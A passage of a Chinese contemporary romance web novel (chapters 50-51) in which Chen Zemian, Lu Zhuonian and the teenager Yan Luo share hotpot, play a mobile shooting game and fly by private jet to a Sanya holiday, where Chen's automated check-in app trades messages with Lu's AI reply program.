面颊挂着水珠更显白透纤薄,一掐就是个红印,瑰红唇瓣沾了点没洗净的雪白泡沫,头顶还炸起一撮呆毛。 陈则眠:“……. 陆灼年虚掐陈则眠脖领,眸光沉暗:“现在知道为什么萧名兀缠着你了吗?”陈则眠看着镜中自己,有点怀疑人生:“我平常就这么湿漉漉的样子吗?”陆灼年未置可否:“有什么想说的。”陈则眠屈指抹去嘴角的泡沫,和镜中地自己对视三秒,评价道:“确实有点欠操。”陆灼年手指蓦地收紧,掐了下陈则眠的脖子又很快松开。陈则眠还没来得及感觉到疼,对方就已经放手了。 陆灼年若无其事地收回手,淡淡道:“你是真会说话。” 50、第50章.. 外面风雪难行,陆灼年是上午到的。 派人把闫洛接回来时已是傍晚,刚好差不多可以准备吃饭。 闫洛第一次来陆少独居的别墅,虽然极力表现淡定,但还是能看出来他特别开心。 这段时间,陈则眠去射击场的次数很少,陆灼年则是小年之后再去过,而这两个人如今已然是闫洛生命中最重要的人,总也见不到,难免想念。 能来陆少家里的这件事本就意义非凡,更何况陈则眠还在。 陈则眠是急性子,往火锅里涮肉涮菜也不分部位,什么肥牛羊羔都一股脑扔进去。 铜锅火旺得厉害,顺滑甜美的肉片又切得极薄,六七秒就烫变了色,熟透的肉此起彼伏地翻起,又得手忙脚乱地往外捞,免得烫久了太老咬不动。 闫洛的碗里不一会儿就堆满了肉,话都来不及说,只能低头猛吃。 在陈则眠强势的投喂下,矜持优雅的陆灼年都很难保持从容,第一次吃得这么急,鼻尖都冒了一层薄汗,解开了衬衫袖口,把袖子挽到了手肘。 陈则眠把肉都捞到了他们俩的碗里,压力骤减,坐在那儿吃得倒是很悠闲。 为了防止陈则眠第二轮鲁莽下肉的攻势,陆灼年默不作声,悄然把菜都端到自己和闫洛手边,陈则眠面前不知不觉间,就只剩了一盘怎么煮都不会老的嫩豆腐。 吃饭的节奏被陆灼年重新掌握,三人总算能缓一口气,偶尔交谈几句了。 外面风雪肆虐,他们在别墅里围着暖炉吃火锅,白色蒸汽袅袅升起,人间烟火温柔了眉眼。 闫洛第一次如此真切地感受到了什么叫幸福。 这是他之前从未有过的安定。 闫洛从记事起,每天一睁眼最期盼的事情就是今天赶紧过去,到了晚上、到了深夜一切苦难和折磨才能暂时停止,他一遍又一遍祈祷时间快一点再快一点,无比盼望自己能够长大,能够成年,能够拥有独立生存的能力,能够逃离现在的生活。有一种不能落地的鸟叫作雨燕,一生中仅有的一次落地,就是它死亡之时。 闫洛觉得自己就是雨燕。 他没有脚,要一直飞一直飞。 他必须一直成长,一直往前走,他不能停下来、也不敢停下来。 即便是在遇见陆灼年以后,暂住在射击场里面,他依旧无法逃脱那种寄人篱下的滋味。 陆少已经是他遇见过最好、最好的人,可那种刻在骨子里的卑微和寄居感,并不会因此消退分毫。 然而今天,闫洛却突然有了一种落地’的感觉。 可他并没有死。 闫洛不知道是陆灼年的慷慨托住了他,还是陈则眠的悠然托住了他。他没有被摔下来,反而被一阵看不见风拥抱了起来。从存在记忆开始,闫洛第一次希望时间能过得慢一点。 这顿火锅真的是太温暖了。 他忍不住想,卖火柴的小女孩划亮火柴的时候,能想象到最温暖最幸福的画面也不过如此了吧。 不过虽然很希望时间能停在此刻,但闫洛一点也不害怕明天来临。 因为明天仍然有陈则眠,陈则眠会带他去他没见过的地方、看他没看过的风景。 这也是很值得期待的事情。 所以时间快一点或是慢一点都好,只要有家人在身边就什么都不用怕。 陈则眠就是闫洛的家人。 如同闫洛预料的那般,虽然陈则眠性子急,但生活的节奏却很自在。 自在到了有些过度散漫的程度。 具体表现在明知第二天还要赶飞机的前提下,还是熬夜到很晚。 晚上吃完火锅,他们本来是坐在窗边赏雪喝茶,陈则眠看着小院内厚厚的积雪,突发奇想,非要带闫洛出去堆雪人。 闫洛委婉地表示他已经过了喜欢堆雪人的年纪。 于是陈则眠放过了闫洛,又转头问陆灼年有没有打过雪仗。 陆灼年要陈则眠不要想一出是一出,今天要是冻感冒了,明天还怎么出门。 陈则眠一听也觉得有理,他现在的身体可不是开玩笑的,一场小小的流感都能拖拖拉拉两个月也好不利落,还是不要冒险的好。 陆灼年又说:“你要是真想玩,等你养好身体,我带你去哈巴雪山。” 陈则眠还没爬过雪山,闻言有些意动,非常想去看看,遂不耻下问:“怎么能把身体养好?” 陆灼年言简意赅:“别熬夜,少玩手机。” 陈则眠挠了挠下巴,表示其实哈巴雪山也不是非去不可,然后拉了个三人小群,在群里发了内测号,叫陆灼年和闫洛一起打游戏。 这么一打就打到了半夜。 陈则眠自己测游戏的时候没觉得这么好玩,只打人机就算提高了游戏难度也没意思,可见联网的重要性。 陆灼年一枪狙掉对面楼里的敌人,意有所指道:“人机也挺好玩。” 陈则眠说:“没有真人好玩。” 陆灼年抬头看了陈则眠一眼,说:“那倒也是。” 和陆灼年一起玩射击游戏,是陈则眠穿越之初就存在的美好构想。 如今终于得偿所愿。 这局游戏陈则眠和陆灼年分到了一组。 跳进海岛地图以后,他随便捡了把枪,偷偷跟在陆灼年身后射他。 陆灼年在前面走,陈则眠在后面放冷枪,拿着一把UZI冲锋枪嘟嘟嘟嘟嘟嘟地打空了子弹。 在游戏初始设定中,子弹是无法误伤队友的,所以陆灼年的人物并没有掉血,但耳机里的枪响骗不了人。 游戏内,陆灼年''停下脚步,转身看向身后的队友。 陈则眠’收枪的动作快到模糊。 等‘陆灼年''转身,就只能看到自己的队友像个人机一样,做出一些非人感极重的系统动作。 陆灼年’掏出一个手雷。陈则眠”立刻往后退了几步。 游戏设定中,手雷不会区分队友与敌人,只要在手雷范围内,就算是自己都会被炸伤,和不能打伤队友的子弹可不一样。 陈则眠怕陆灼年炸自己,心虚地往后躲。 陆灼年抿了抿唇,唇角忍不住微微勾起。 他操纵游戏人物把手雷放到地上,对陈则眠说:“给。” 陈则眠倏然抬头,怀疑陆灼年是想把自己骗过去炸死自己,警惕道:“给我手雷干什么?” “用子弹打又不掉血,”陆灼年抬头看了眼陈则眠:“给你个手雷炸着玩。” 陈则眠呆了一下:“炸你吗?” 陆灼年云淡风轻:“可以。” 陈则眠莫名其妙有点高兴,又不知道在高兴什么,他操纵游戏人物捡起手雷,转身找了辆摩托,带着 陆灼年''到了地图中的某个地点。 “我放烟花给你看。”陈则眠说。 这是他设计游戏时留的彩蛋,这个地点在游戏地图上显示为废弃工厂,实则是一个秘密烟花厂,在特定位置连续投掷三个手雷和两个燃烧瓶,就能触发烟花特效。 陈则眠还挺喜欢看烟花的,但是自己放太贵,烟花秀活动人又多又吵,去一次还不够闹心的。 所以凡是他经手设计的游戏,大多都会加上一个烟花彩蛋,想看的时候去游戏里看,这个彩蛋细节几乎都该成他的个人特有logo了。 烟花在屏幕上炸开,七彩绚烂,光华璀璨。 闫洛的人物在几十公里外,手机上也能看到东南方亮了一片,他还以为是天降正义,赶紧找了个防空洞躲了起来。 陈则眠将自己设计时留的彩蛋讲给陆灼年:“我在这里留了小巧思,是不是很有意思。” 陆灼年应道:“很漂亮,不知道公测后第一个发现彩蛋的人是谁。” 陈则眠得意洋洋:“无论谁先发现彩蛋,第一个在这里看烟花的人都是你,这是我自己加的设计,连工作室的程序员都不知道。“ 闻言,陆灼年龙颜大悦,允诺道:“有机会请你看烟花秀。” 陈则眠忍不住笑了几声:“我这就是随便敲的代码而已,哪里就值得换你的真烟花,一场烟花秀少说几百万吧,你这太亏了。” 陆灼年不认为账应该这么算。 游戏中的烟花和现实中的烟花一样珍贵,没有任何差别。 陈则眠自制力极差,玩了几局游戏又有了点心得,当即打开电脑直接写了一份内测报告,记录下了几个游戏后续优化的方向。 他一进入工作状态就没日没夜,键盘噼里啪啦一阵乱响,时间便已悄然流逝两个小时。 陈则眠越写越精神,有种要决战到天明的架势。 最后还是陆灼年看时间太晚,直接收了陈则眠电脑,把人赶进卧室睡觉。 陈则眠洗漱完毕,躺在床上还在琢磨优化游戏的事,不能用电脑也根本难不倒他,直接打开手机备忘录,把想法都记录上去。 陆灼年就猜到陈则眠不可能老老实实睡觉,路过房间时看到缝隙里透出的光,将摸黑作案的陈则眠抓了个正着。 陈则眠其实听到了陆灼年的脚步声,奈何手机的光已然出卖了他,虽已及时把手机塞进了枕头底下,但未能逃脱制裁。 陆灼年下达命令:“关机了。” 陈则眠抗议说:“别关,手机上还有闹钟呢。” 陆灼年抬手蒙住陈则眠眼睛:“没说手机,说你。” 陈则眠眼前什么都看不见了,但也不想闭眼:“我不困。” 陆灼年说:“熬夜之后乘飞机容易猝死。” 陈则眠赶紧把眼睛闭上。 纤长的睫毛在陆灼年掌心扫过,细微的痒意顺着皮肤钻进了肉里,陆灼年的手毫无缘由地抖了一下。陈则眠抬手按住陆灼年的手,手心搭在他手背上:“别动,我有点困了。”陆灼年体温比常人略高,手掌温度微热,覆在眼睛上像一个恒温加热眼罩,还是真皮的,特别好用。陈则眠强制闭眼,又有真皮眼罩’加持,没一会儿就放匀了呼吸,缓缓陷入梦乡。 由于前一天睡得太晚,第二天陈则眠从床上爬起来的时候,整个人都是晕的。 一看时间,又猛地惊醒。 “怎么都不叫我????” 陈则眠用接近光的速度换好衣服,下楼看到闫洛坐在餐桌前喝粥,一把抢过碗放在一边,随手抓起两个奶黄包塞进闫洛嘴里:“怎么不叫我?别喝粥了,拿上包子快走,已经晚了,边走边吃。”闫洛叼着包子,含混地说:“陆少说不用叫你,让你睡醒再说。” 陈则眠:“航空公司可不是这么说的。” 陆灼年气定神闲:“你先坐下吃饭,一会儿我送你们去机场。” 陈则眠看了眼窗外深深的积雪,忧心忡忡:“这么大的雪,去机场高速不会封了吧。” 陆灼年说:“我知道你起不来,昨天提前申请了一条私人航线,你们的行李已经放上飞机了。” 陈则眠愣了愣:“你的意思是……我们不坐民航了,坐你的私人飞机去?” 闫洛也是第一次见识这么高级的东西,闻言猛猛点头:“对!私人飞机。” 陆灼年反手敲敲桌面,叫陈则眠:“可以坐下喝粥了吗?” 陈则眠有点恍惚,拉开凳子坐下,还没来得及说话,先闻到了一阵鲜甜的香气。 精致漂亮的瓷碗里盛着八分满海鲜粥,雪白的贡米熬得软糯,和虾仁、瑶柱、蟹钳、海参等海味炖在一起,粥面上还洒了一点提鲜去腻的香芹碎,鲜香浓稠,味道鲜美,只是看着就令人食指大动。 陈则眠鼻尖动了动,忍不住说了句:“好香啊。” 闫洛默默端回被陈则眠强行拿走的粥碗,赞同道:“就是很香啊。” 陈则眠舀起一勺粥放进嘴里,鲜美滋味在舌尖炸开的瞬间,整个人灵境都得到了升华:“太美味了,陆少,你家厨师煮的这个海鲜粥真是绝了,每次吃完都唇齿留香,念念不忘。” 陆灼年语气淡淡:“是吗?” 陈则眠坚决表示肯定:“当然,这是我喝过最美味的海鲜粥。” 陆灼年像是意有所指,又像是只是在点评没事:“三亚海鲜更多,到了那边你就忘了。” 陈则眠捧着碗:“曾经沧海难为水,不会有别的粥再超越它了。” 陆灼年略微满意:“最好是这样。” 陈则眠人还没有离开,就被这碗粥勾得想着回来的事情了:“我们那边有个说法,叫 上车饺子下车面,今天有虾饺,那等我回来那天,可以让厨师给我做海鲜面吗?” 陆灼年不咸不淡地撇了陈则眠一眼:“看你表现。” 陈则眠对答如流,立刻向自己的老大忠心说:“我会好好表现的。” “好吧,“陆灼年很容易就轻信了似的:“回来提前说,瑶柱要提前浸泡一晚上才好吃。” 陈则眠高兴了,又预约了一道陆宅有名的熟醉虾。 他一边和陆灼年说话,一边不停喝粥,不知不觉就吃撑了。 吃完以后,陈则眠全身乏力,瘫坐在椅子上醒神。 饱了就困,真的是没什么办法。 陆灼年亲自开车,送陈则眠和闫洛去机场。 一路上出奇的顺利,陈则眠强挺着精神劲和陆灼年聊天,他们的车走得绿色通道,过了安检一路开进航站楼。 这时陈则眠才发现,原来一路畅通的原因是前后都有保镖的车提前开道。 陆少出门还真是……规模盛大啊。 不愧是京圈太子爷,这阵仗简直该赶上皇帝御辇了。 私人飞机比民航客机稍微小一些,但也非常宽敞,内部座椅配色是经典米咖撞色,兼顾了时尚与豪华,座椅宽大柔软,甚至还有一排四人位的长沙发。 随行两位空姐都特别有气质,声音也好听,每次和陈则眠说话都会蹲下来,面带微笑,态度亲和。 空姐柔声细雨,逐项介绍了机舱内的设施。 陈则眠对这种温柔大姐姐完全没有抵抗力,没讲两句话耳朵就有点红了。 “您是不是觉得有点热,”空姐抬手帮陈则眠拉开羽绒服拉链,服侍他脱下外套:“大衣可以脱下来了,三亚今天的气温是20—29摄氏度,为了让您提前适应,机舱的温度会在飞行途中逐渐提升,您可以到那边去换上度假的衣服,如果觉得冷的话,这边有毯子。”陈则眠晕晕乎乎地脱下了羽绒服,看着空姐帮他叠好放进袋子里,连怎么说话都该忘了,只会干巴巴地说了声谢谢。 声音都是飘的。 陆灼年看得有趣,忍不住轻笑一声。 陈则眠一听陆灼年笑他,不免略感羞恼,有种在好兄弟面前丢人的窘迫,狠狠抬头瞪了他一眼。 陆灼年微微抬了抬眉梢,也不说话,只含笑看着他。 今天陆灼年穿着一如既往的精致,像个拍杂志封面的国际明星,又英俊又时尚,相比之下,一身棉服卫衣的陈则眠就像个呆狗大学生,一点竞争力也没有。 陈则眠略微泄气。 陆灼年把从家里带的零食递给空姐,交待道:“不要给他吃太多零食,吃多了他会吐。” 陈则眠反驳道:“我能吃很多零食都不会吐!” 陆灼年:“我是说闫洛。” 许是因为小时候挨过饿,闫洛吃东西总是很快很猛,有种不赶紧塞进肚子里,过一会儿就没了的紧迫感,尤其是吃这种小零食,更是吃的特别急,现在稍微好一些了,但一不注意还是很容易把自己吃吐。 闫洛没想到陆灼年这点小细节都记得,保证道:“我不会吃很多。” 陆灼年点点头:“我带的都是陈则眠不爱吃的,他不会跟你抢。” 陈则眠:“……. 空姐看到两位旅客和自家老板关系这么好,服务得更加心:“请问两位先生想用些什么饮品,有香槟、红酒、咖啡、奶茶、可乐、牛奶、鲜榨果汁。” 陈则眠就要了瓶冰水,闫洛要了牛奶。 空姐拆了些零食装进盘子端给闫洛,笑着问陈则眠:“这是您弟弟吧,长得可真可爱。” 陈则眠说:“是我弟弟。”闫洛很高兴,把最喜欢的妙脆角分享给了陈则眠。陈则眠肚子里的粥还没有消化完,吃不下妙脆角,把袋子撕开以后递给闫洛让他吃。闫洛更高兴了。 一切准备就绪,空姐低声询问陆灼年:“陆少,飞机十分钟后起飞可以吗?” 陆灼年点点头:“你去忙吧。”空姐微微欠身行礼,后退几步转身进了前舱。陈则眠靠回座椅上,打了个哈欠。陆灼年问陈则眠:“你困了?”陈则眠靠着椅背,仰面看着陆灼年:“有点。”陆灼年说:“航程四个小时,可以睡一会儿。”陈则眠放下椅背半躺着:“这就睡。”陆灼年笑了一下:“我带你去我的私人休息室。”陈则眠左右看了看:“还有私人休息室?” 陆灼年点点头:“有床,有浴室,你要去吗?” 陈则眠犹豫了半秒,感觉自己的意识仿佛托管了半分钟,等再回过神来,人已经躺在陆灼年私人休息室的床上了。 这间休息室私密性极强,关上门以后就是个完全独立的空间。 这间休息室从没有陆灼年以外的人进来过,而陆灼年这次又不乘机,所以空乘人员并没有准备床品。 陆灼年打开柜子,拿出枕头和薄毯:“都是我的,平常有按时清洗,你凑合用吧。” 陈则眠卷着毯子在床上一滚,感叹自己已经被资本主义侵蚀了。 陆灼年见陈则眠阖上了眼,也没说什么,只抬手拉下遮光帘,然后便转身离开了休息室。 陈则眠本来以为他是出去和空乘人员交代什么事,也没在意,直到飞机开始滑行,才意识到陆灼年居然走了。 竟然没有跟他说一声就走了!!! 陈则眠拿出手机,连上机舱内的网络,正想给陆灼年发微信,又想起他是开车来的,看微信可能不方便,就直接把通话拨了过去。 陆灼年并没有自己开车回去。 陆家司机早已提前赶到,正在航站楼下面候着自家少爷。 见到陆灼年走下舷梯,立刻下车拉开后车门。 陆灼年刚迈进车厢,手机就响了起来。 听到通讯铃声响起,唇角勾起一抹不易察觉的笑意。 他单手戴上耳机,接通电话。 陆灼年甚至没看手机屏幕,笃定的态度仿佛胜券在握,坚定而准确地叫出那个名字—— “陈则眠。” 51、第51章... 三亚这边,陆灼年安排的人已经在机场等候。 陆家是大家族,每逢年节都有很繁复的规矩和流程要走,陆灼年本人要在京市过完年才能来,伺候他的团队倒是早早就到了三亚待命。 下了飞机以后,拿行李的、递水的、撑伞的都围了上来,陈则眠身边前呼后拥,也是体会到了一把当少爷的滋味。 司机替他和闫洛打开车门,恭敬有礼地将二人请上车。 酒店依旧是陈则眠订的那家五星级豪华酒店,只是普通的双床客房被升级成了两间海景套房,打开阳台门就拥有一整片私人海滩。 可惜陈则眠不会游泳。 但这依然是一次注定完美的度假。 晴空与碧海在天际尽头相接,微风轻拂,浪花在潮汐引力作用下循环往复,形成一种很有节律的白噪音。 高大葱茏的椰树点缀了白沙,巨大的遮阳伞下面放着一张柔软且贴合人体工学懒人沙发,手边的圆桌上还有各色热带水果和饮料。 陈则眠一躺上去就不想动了。 他完全放空自己,享受着假期的悠闲和安逸。 这一觉睡到了落日时分,醒来时晚霞漫天,绚烂的霞光映照海面,天地间都是一片亮丽的暖红色。 碧海潮生,鸥鸟盘旋。 不知道为什么,陈则眠这一刻忽然很想给陆灼年打电话—— 其实下了飞机就该打的。 他们之前说好,到了三亚以后要报平安的。 只是陈则眠有点轻微晕机,在飞机上睡了一觉醒来以后耳朵连着头滋儿滋的疼,就没给打电话,让闫洛替他跟陆灼年说了声他们到了。 陆灼年也没给他打。 从下飞机到现在五个半小时了,手机上连条未读消息都没有,不光陆灼年没联系他,连萧可颂和刘越博居然也没问问他到没到。 什么朋友啊都是。 陈则眠恨恨按灭手机屏。 虽然都说人走茶凉,但这凉得也太快了吧! 没关系,等他养好身体就会卷土重来,回到京市夺回属于他的一切。 陈则眠翻了个身,刚站起来抻个懒腰,就看到爬满绿植的栅栏边,有个毛茸茸的小脑袋探过来,正在猫猫崇崇地观察他。 是闫洛。 陈则眠忍俊不禁,叫他:“小闫洛。” 闫洛眼睛一亮,扒着栅栏隔空喊话:“陈哥,你醒啦,还头疼不,我给你买了药。” 陈则眠抬手把房卡丢过去:“来我这边说。” 闫洛伸手接房卡的动作很像猫猫抓球,‘嗖’的一下接住了,还要继续展示自己的身手:“我可以翻过来!” 陈则眠说:“栅栏有尖,扎你屁股。” 闫洛叼着房卡,轻盈地翻过栅栏,全程根本没用到屁股作支点,往下一跳以半蹲的姿势落在沙滩上,帅气得像是在拍电影。 离开京市以后,闫洛肉眼可见的活泼了起来,终于有点十六七岁高中生那种少年气。 之前他总是冷着脸,充满警惕戒备,好像身后随时有人会出手袭击他,整个人都绷得紧紧的。 一个全新的、陌生的环境,令闫洛彻底放松了下来。 这里没有闫家、没有他的亲人也没有他的仇人,这里没有人认识他,没有人知道他的过去,更没有人了解他曾经的不堪与狼狈,他再也不用担心自己展示出灵活的身手和飞檐走壁的能力后,会被人用奇怪的眼神看待和议论,猜测他曾经的经历。 闫洛三步并作两步,小跑着奔向陈则眠,从口袋里掏出治头疼的药,献宝似的递过来,说:“陆少说晕机吃这个能缓解,他本来想找人送过来,但我查了下附近有药店,就没麻烦他。” 陈则眠接过药:“你自己出去买的?” 闫洛轻轻点了下头,又超级不明显地挺了挺胸。 即便没说话,但潜台词已然非常明显了。 隐藏又想表达的意思大概是:对呀,我虽然很不喜欢和人交流,但还是自己在人生地不熟的地方出门给你买药,不过这也没什么特别值得一提的,当然如果你能发现并且知道我真的超在乎你就好了,并没有求表扬的意思,但你要是非要表扬我也勉为其难地接受吧”。“哇撒,你真的是太厉害了,”陈则眠把药瓶握在手里,摸了摸闫洛的脑袋,称赞道:“海南这边的方言很难听懂哎。” 闫洛不是很骄傲地说:“不管是什么方言,我都能很快听懂。” 陈则眠真有点惊讶了:“为什么?有的方言我听着就像外语一样,你怎么都能听懂,是偷偷下载语音包了吗?” 闫洛手指不自觉地捻了下衣角,说:“小时候和我一起的那些人,南来北往的哪里都有,听得多了,就都能听懂了。” 不懂也得想办法弄懂,他们那些人穷凶极恶,可没有耐心讲第二次,反应稍慢一点,巴掌或者拳头就过来了。 最严重的一次,闫洛被踹折了肋骨,可能还扎到了内脏,又吐血又发烧,那些人嫌他麻烦,差点直接把他活埋了,是他拼命磕头保证自己一定能恢复并且会偷回更多东西补偿,才侥幸逃过一劫。 这些事除了办案警察知道以外,闫洛没有和任何人讲过,当然也不会特意告诉陈则眠。 偷东西不是一件光彩的事情,他不想让陈则眠知道自己做过的那些坏事。 只是即便他不说,陈则眠也能大致猜到几分。 陈则眠没有继续这个话题,而是拿起手机,往懒人椅里面躺了躺,叫闫洛上来跟他一块儿看美食推荐:“看看晚上想吃点啥。” 闫洛也躺上懒人椅。 两个人挤在一起,头挨着头看向手机屏幕。 闫洛特别喜欢这种狭小的环境,挤在一起会让他更有安全感,所以虽然陆灼年在射击场给他安排了单独的房间,但他还是习惯睡在值班室,因为值班室的监控可以看到射击场的各个角落,而且有狭窄的、带上下铺的那种单人床。 陈则眠了解闫洛的这个猫咪习性。 每次闫洛不开心或者有点惊慌的时候,贴着他挤一挤就能很快安抚好他的情绪。 这次也一样,美食餐厅才看过两家,闫洛紧绷的后背就重新放松下来。 “黄流老鸭、猪肚煲汤鸡、水煮串串、文昌鸡、鱼煲、温泉鹅都很适合晚上吃。”闫洛很认真地筛选出几家餐厅:“陈哥你想吃哪个?”陈则眠把这几家餐厅全部加入收藏夹:“在这儿要待很久呢,挨个吃呗。”闫洛喜欢‘很久’这个词,情不自禁地弯起眼睛:“嗯。”陈则眠见天色有些擦黑,就说:“走,咱们去吃饭,你回房拿件外套,我去洗把脸。”闫洛很懂事地说:“你还头疼吗?我也不是很饿,你要是不舒服就晚点去。”陈则眠把药瓶放进口袋里:“早不疼了,再说这不还有药嘛。”闫洛站起身往栅栏处走:“那我跟陆少说一声。”陈则眠推着闫洛拐了个弯,穿过露台走进房间,看到闫洛打了一大串话和陆灼年汇报情况,忍不住一笑:“晚上去哪里、吃什么这样的小事就不用说了吧。” 闫洛:“要说的,到了地方还要给陆少发定位。” 陈则眠诧异道:“发定位?他还怕我把你弄丢了不成?” 闫洛表示:“也不是没这个可能。我给陆少开启了位置共享,他那里能看到我的定位,如果你找不到我,可以问他要我的位置。” 陈则眠信誓旦旦:“绝无可能。” 两个半小时后,绝无可能变成了必然可能。 解放路步行街繁华喧闹,人潮汹涌,很轻易地将陈则眠和闫洛挤散了。 陈则眠举着手机,站在花坛边沿上登高远跳,看着乌泱乌泱的人群,脑袋喻嗡的,为了确保自己在闫洛心中的靠谱形象,他没有直接给闫洛打电话,而是选择了求助陆灼年。 等待音嘟过第三声。 陆灼年的声音在耳边响起:“陈则眠,你可真是无事不登三宝殿。” 陈则眠讪讪道:“我还没说是什么事。” 陆灼年如同长了双千里眼,能够洞悉三千公里外的实况:“还能什么事,你们在三亚最繁华的解放二路,而且闫洛的定位已经十分钟没动过了。” 陈则眠大惊:“怎么定位还不动了?” 陆灼年淡淡道:“因为我跟他说,如果和你分开就找个地方不要动,省得他找你你找他,两个人面对面路过八万次。” 陈则眠试图狡辩说:“这次是个意外,我看他看得很紧的。” 陆灼年对陈则眠的注意力集中程度有所了解,预感到这类事情必不会少,已经提前做好了应急预案,接到陈则眠电话的同时,就把闫洛的定位发到对方手机上了。 陈则眠点开手机定位,前后左右地比划了一番,感叹道:“看来分享定位还真有用,等会儿我和闫洛也开一个。” 陆灼年说:“你们俩手机品牌不兼容,开不了实时定位。” 闫洛和陆灼年用的同品牌手机,陈则眠用的另一个牌子,和他俩谁都开不了实时定位。 陈则眠恍然:“我说闫洛怎么不直接跟我开呢…对了,你不要跟闫洛讲我找不到他的事情,他本来就缺乏安全感,要知道我这么容易就把他弄丢,以后就该不信任我了。” 陆灼年简明扼要:“他已经发现你不见了。” 陈则眠胸有成竹道:“没关系,待会儿找到他,我会表现的一切尽在掌握之中。” 陆灼年对陈则眠的乐观给予了高度赞扬。 陈则眠大概找到了一个方向,但又不是很确定:“我是应该往右走吧。” 陆灼年轻笑一声:“陈则眠,我看不到你在哪里,不知道你该往哪边走。” 陈则眠顺手把自己的定位发过去,同时打开视频将周围拍给陆灼年看。 镜头开的是后置,陆灼年手机画面里没有陈则眠,只有人群、商铺、灯牌和树梢。 通过四周景物,很容易确定陈则眠的位置。 陆灼年语调沉稳,听起来就十分可信:“嗯,我知道你在哪儿了。” 陈则眠问:“那我该先往哪边走?” 陆灼年沉吟半秒,说:“先从花坛上下来。” 陈则眠:“……. 为了洗清自己 无事不登三宝殿的污名,陈则眠开始了打卡式骚扰陆灼年。 找到闫洛后,他立刻联系到游戏工作室的程序员,让程序员写了个自动发送消息的小程序。 每隔一个小时,小程序都会自动给陆灼年发一条【我现在到了XXX】的微信消息,如果在打卡人数超过平均值的景点或者餐厅停留半小时,程序还会自动把位置分享过去,可以说是非常智能了。陈则眠要不停给陆灼年发消息发发发发发发到厌倦,省得他一接电话就阴阳自己。 陆灼年何等聪明,在收到第三条消息的时候,他就怀疑对面不是真人了。 陈则眠像只撒手就没的野猫,怎么可能在两个小时内接连给他发三条微信报备,况且虽然陈则眠有时候宛若人机,但这些消息也太人机了。 不过既然能收到陈则眠的定位,那人机就人机吧。 陆大少日理万机,抽空用电脑写了个A对话小程序,用来回复陈则眠的人机信息。 第二天下午,陈则眠吃完饭从餐厅出来,看到手机上未读消息,不由怀疑陆灼年也搞了个小程序敷衍他。 因为不管他发什么过去,陆灼年都会和DeepSeek一样,自动回过来一串相关的旅游攻略。 好家伙,竟然用A对付Al?! 连技术也要卷? 陈则眠攀比之心大胜,当即致电给工作室的程序员,表示有人的对话程序比他更高端,疑似在鄙视他的技术。 程序员一听竟然有人鄙视他,也不顾还在过节,当即扔下一桌子亲戚,回屋打开电脑就一顿噼里啪啦。 半个小时后,他将完善过的小程序发给了陈则眠,得意洋洋地介绍道: “老板,我这个程序现在不光能发消息,还能和手机互联,能够根据手机使用情况自动发送早晚安、自动分享打车行程、随机分享常听的音乐、点赞的短视频、浏览的网页…” 陈则眠迟疑道:“浏览的网页就别分享了吧。” 程序员:“OK,网页不分享,那点赞视频呢?” 陈则眠刷小视频没有点赞的习惯,偶尔收藏两条也都是和专业相关的,就很无所谓地说:“视频没关系。” 程序员啪啪啪敲了一通键盘:“好了老板,发你了。” 陈则眠发现这是个很好的狗腿软件,能够自动在老大面前刷存在感,一边感叹科技改变生活,一边把小程序和陆灼年的微信绑定,立志要和陆灼年那边的智能A决战到底。 除夕夜的晚上九点,海滩举办了一场热闹的篝火音乐晚会。 闫洛认识了新朋友,是个跟家人一起来度假的高中生,跟家里老老少少玩不到一起去,好不容易逮到一个同龄人,抓着闫洛无话不谈,两个人不到半个小时就成了形影不离的好兄弟。陈则眠心态和真正的年轻人还是有些区别,不大喜欢凑热闹,只远远地倚在吊床上玩手机。 远处隐隐传来欢呼笑闹的声响,人声和海浪交织在一起,宛如隔了一层毛玻璃,似近似远。 仿佛近在咫尺,又像是遥隔天涯。 海上明月高悬,夜风裹挟着湿润的水汽扑面而来,喧闹如潮水般涌来又退去。 整个世界又热闹,又安静。 闲适与繁忙同时存在,那种感觉很奇异、也很难形容,但就是非常舒服,有种活在人间的潇洒和畅然。 二代群里玩起了抢红包游戏,红包最低也是188起,都抢着想多当几次手气王,为新年讨一分好彩头。 陈则眠收到萧可颂私发的消息,吐槽家里一到过年就打架,说在京市真没意思,特别想现在就飞到三亚找他玩。 两个人七嘴八舌地聊了好几页,萧可颂忽然问他:唉,对了,那边的气候怎么样?你还咳嗽不? 陈则眠:不咳了,在京市每天早上起来鼻子喉咙都特别干,到这边以后明显好转。 萧可颂:那头疼是晕机还是水土不服? 陈则眠:晕机吧,你怎么知道我头疼? 萧可颂:灼年说的啊,昨天你到三亚,我本来想给你打电话的,他不让我给你打,说你晕机不舒服,不许我们烦你。 陈则眠:原来是这样,我看你们都没给我发消息,还以为人走茶凉,你们有别的小弟了呢。 萧可颂发了个笑哭的表情:我倒是想联系你,陆灼年不让啊。 陈则眠还没输入完,萧可颂又发来一条消息:先不跟你说了,我小叔把我三叔给打了! …… 萧家还挺热闹。看不出萧名兀居然这么骁勇善战。23.59分,巨幅的LED屏幕上亮起了倒计时。陈则眠提前用小程序编辑了祝福短信,会在零点自动给选定的好友发送新年祝福,因此也不着急掐点,心安理得地打起了游戏。 刚进入游戏,游戏突然显示无网络。 有电话打了进来。 陈则眠一边改连Wi-Fi继续打游戏,一边戴上耳机接通电话:“Hello。” 沈青琬的声音从耳机里传出:“新年快乐啊,陈折。” “新年快乐,新年快乐,”陈则眠受宠若惊道:“你是第一个打电话跟我说新年祝福的人。” 沈青琬轻笑一声,意有所指道:“现在还没过零点,我特意早点打,免得凌晨时你话务繁忙,我的电话打不进去。” 陈则眠笑着说:“怎么可能。” 沈青琬声音很温柔:“听闫洛说你们去三亚了,那边怎么样?” 陈则眠说:“也还行,主要是气候好。” 沈青琬笑了笑:“那就好,今年过年我爸不在,我和妈妈回了姥姥家,我姥姥听说你帮过我,一定要我给你拿点她做的枇杷育,等你回来,我还是给你送到射击场去吧。” 陈则眠应道:“好啊,枇杷膏听着就很好吃。” 沈青琬柔声说起枇杷育的吃法,可以冲水喝,也可以每天早上盛一汤匙压在舌头下面,或者煮梨水、煮苹果水、山楂水,都能缓解咳嗽。 在沈青琬温声细语中,零点倒计时计入最后十秒。 海滩上所有人都跟着LED屏幕跳动的数字倒数。 【九、八、七、六.….】 人群喧嚷。陈则眠有点听不清沈青琬说话,就往房间里走了两步,转身的瞬间灵光一闪,忽然觉得有点不对劲。 等等等等等等等。 沈青琬姥姥的枇杷膏???原书里这不是应该给陆灼年的吗?怎么给我了? 这不对吧。 恍惚中,人群呼喊的倒计时声,在陈则眠身后响起。 【四、三、二、.….】 忽远忽近的背景音下,陈则眠意识到了什么。 正在这时,新年如约而至。 零点刹那,手机突然又进来一通电话。 